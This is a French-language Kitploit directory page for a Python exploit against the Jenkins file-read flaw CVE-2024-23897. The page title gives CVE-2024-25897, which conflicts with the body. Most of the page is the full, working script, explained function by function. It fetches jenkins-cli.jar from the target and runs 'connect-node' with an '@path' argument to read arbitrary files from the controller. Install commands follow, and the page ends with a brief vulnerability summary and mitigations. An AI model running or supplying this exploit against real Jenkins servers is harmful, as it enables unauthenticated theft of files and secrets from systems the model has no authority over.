Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-25897 — exploit qui compromet Jenkins fait en Python | Kitploit
Outils/GitHubGitHub/i-100-user/cve-2024-25897
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCollecte d'InformationsTests d'Intrusion
GitHubi-100-user/cve-2024-25897

CVE-2024-25897

exploit qui compromet Jenkins fait en Python

Voir le dépôt
21il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

banner

img1

paramètres ip , puerto , ruta

img2

sortie de l'exploit

img3

Panneau d'aide

explication de l'exploit

Voici l'explication du code en Markdown :

Explication du Code

Ce script est conçu pour exploiter une vulnérabilité spécifique dans Jenkins (CVE-2024-23897). Il permet de télécharger un fichier JAR depuis un serveur Jenkins et d'exécuter une charge utile pour connecter un nœud Jenkins. Voici l'explication de chaque partie du code :

Importation des modules

root@kitploit:~
Télécharger l’outil
import argparse import requests import os import subprocess import sys
  • argparse: Pour gérer les arguments de la ligne de commande.
  • requests: Pour effectuer des requêtes HTTP.
  • os: Pour interagir avec le système d'exploitation.
  • subprocess: Pour exécuter des commandes système.
  • sys: Pour interagir avec l'interpréteur Python.

Fonction banner

root@kitploit:~
def banner():
    """
    Affiche une bannière décorative pour l'outil.
    """
    text = """
   ______     _______     ____   ___ ____  _  _        ____  _____  ___  ___ _____       _            _    _           
  / ___\ \   / / ____|   |___ \ / _ \ ___ \| || |      |___ \|___ / ( _ )/ _ \___  |     | | ___ _ __ | | _(_)_ __  ___ 
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / /   _  | |/ _ \ '_ \| |/ / | '_ \/ __|
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ __/ ___) | (_) \__, |/ /   | |_| |  __/ | | |   <| | | | \__|
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |_____|____/ \___/  /_//_/     \___/ \___|_| |_|_|\_\_|_| |_|___/
 """
    print(text)

Cette fonction affiche une bannière décorative au début du script.

Fonction descargar_jar

root@kitploit:~
def descargar_jar(ip, puerto):
    """
    Télécharge le fichier jenkins-cli.jar depuis le serveur Jenkins spécifié.

    Args:
        ip (str): Adresse IP du serveur Jenkins.
        puerto (str): Port du serveur Jenkins.

    Returns:
        bool: True si le téléchargement a réussi, False sinon.
    """
    url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
    try:
        response = requests.get(url)
        if response.status_code == 200:
            with open('jenkins-cli.jar', 'wb') as archivo_jar:
                archivo_jar.write(response.content)
            return True
        else:
            print(f"\n[-] Impossible de télécharger le fichier. Code d'état : {response.status_code}")
            return False
    except requests.RequestException as errorhttp:
        print(f"\n[-] Erreur lors de la requête : {errorhttp}")
        return False

Cette fonction télécharge le fichier jenkins-cli.jar depuis le serveur Jenkins spécifié par l'adresse IP et le port. Si le téléchargement réussit, elle enregistre le fichier sur le système et renvoie True ; sinon, elle renvoie False.

Fonction attack_payload

root@kitploit:~
def attack_payload(ip, puerto, ruta):
    """
    Exécute la charge utile pour connecter un nœud Jenkins.

    Args:
        ip (str): Adresse IP du serveur Jenkins.
        puerto (str): Port du serveur Jenkins.
        ruta (str): Chemin pour lire le fichier.
    """
    archivo_jar = "jenkins-cli.jar"
    payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
    try:
        subprocess.run(payload, shell=True, check=True)
        os.remove(archivo_jar)
    except subprocess.CalledProcessError as error_payload:
        print(f"\n[-] Erreur lors de la tentative de connexion du nœud : {error_payload}\n")

Cette fonction exécute une commande pour connecter un nœud Jenkins en utilisant le fichier jenkins-cli.jar. Après l'exécution de la commande, elle supprime le fichier JAR. En cas d'erreur d'exécution, elle affiche un message d'erreur.

Fonction main

root@kitploit:~
def main():
    """
    Fonction principale qui analyse les arguments et exécute les fonctions correspondantes.
    """
    parser = argparse.ArgumentParser(description="\n[+] Exploit para explotar el CVE-2024-23897\n")
    parser.add_argument("ip", type=str, help="\n[+] Dirección IP del servidor Jenkins\n")
    parser.add_argument("puerto", type=str, help="\n[+] Puerto del servidor de Jenkins\n")
    parser.add_argument("ruta", type=str, help="\n[+] Ruta para leer el archivo\n")
    args = parser.parse_args()

    ip = args.ip
    puerto = args.puerto
    ruta = args.ruta

    banner()

    if descargar_jar(ip, puerto):
        attack_payload(ip, puerto, ruta)
    else:
        sys.exit(1)

La fonction principale du script :

  1. Analyse les arguments de ligne de commande (ip, puerto, ruta).
  2. Appelle la fonction banner pour afficher la bannière.
  3. Appelle la fonction descargar_jar pour télécharger le fichier JAR.
  4. Si le téléchargement réussit, elle appelle la fonction attack_payload pour exécuter la charge utile ; sinon, elle termine le script avec un code de sortie 1.

Exécution du Script

root@kitploit:~
if __name__ == '__main__':
    main()

Ce bloc garantit que la fonction main ne s'exécute que si le script est exécuté directement, et non s'il est importé comme module.

Résumé

Ce script est un outil pour exploiter une vulnérabilité dans Jenkins. Il télécharge un fichier JAR depuis un serveur Jenkins et utilise ce fichier pour exécuter une charge utile qui connecte un nœud Jenkins. Les arguments nécessaires (ip, puerto, ruta) sont fournis via la ligne de commande.

Voici une liste des bibliothèques nécessaires avec les commandes pip install pour chacune :

Bibliothèques Nécessaires

  • argparse: Cette bibliothèque est incluse dans la bibliothèque standard de Python, donc vous n'avez pas besoin de l'installer.

  • requests: Pour effectuer des requêtes HTTP.

    root@kitploit:~
    pip install requests
    
  • os: Cette bibliothèque est incluse dans la bibliothèque standard de Python, donc vous n'avez pas besoin de l'installer.

  • subprocess: Cette bibliothèque est incluse dans la bibliothèque standard de Python, donc vous n'avez pas besoin de l'installer.

  • sys: Cette bibliothèque est incluse dans la bibliothèque standard de Python, donc vous n'avez pas besoin de l'installer.

Installation des Bibliothèques

root@kitploit:~
pip install requests

CVE-2024-23897 est une vulnérabilité présente dans Jenkins, un outil populaire d'automatisation et d'IC/DC (CI/CD). Cette vulnérabilité affecte Jenkins dans les versions 2.441 et antérieures, ainsi que les versions LTS 2.426.2 et antérieures.

Description de la vulnérabilité :

  • Fonction affectée : Analyseur de commandes CLI de Jenkins.
  • Problème : Il ne désactive pas une fonction qui permet de remplacer un caractère '@' suivi d'un chemin de fichier dans un argument par le contenu de ce fichier.
  • Impact : Permet à des attaquants non authentifiés de lire des fichiers arbitraires dans le système de fichiers du contrôleur Jenkins.
  • Risque : Un attaquant peut accéder à des informations sensibles stockées sur le serveur Jenkins, ce qui pourrait compromettre davantage le système.

Exemple d'exploitation :

  1. Un attaquant envoie une commande CLI à Jenkins qui inclut @/ruta/del/archivo.
  2. L'analyseur de commandes de Jenkins interprète @/ruta/del/archivo et remplace cet argument par le contenu du fichier spécifié.
  3. L'attaquant obtient le contenu du fichier sans avoir besoin d'authentification.

Mesures d'atténuation :

  • Mettre à jour Jenkins : Installer des versions plus récentes qui ont corrigé cette vulnérabilité.
  • Configurations de sécurité : Vérifier et restreindre l'accès au CLI de Jenkins, en s'assurant que seuls les utilisateurs authentifiés et de confiance puissent utiliser cette fonctionnalité.

Mettre à jour et configurer correctement Jenkins est crucial pour protéger le système contre cette vulnérabilité.

Python Linux Icon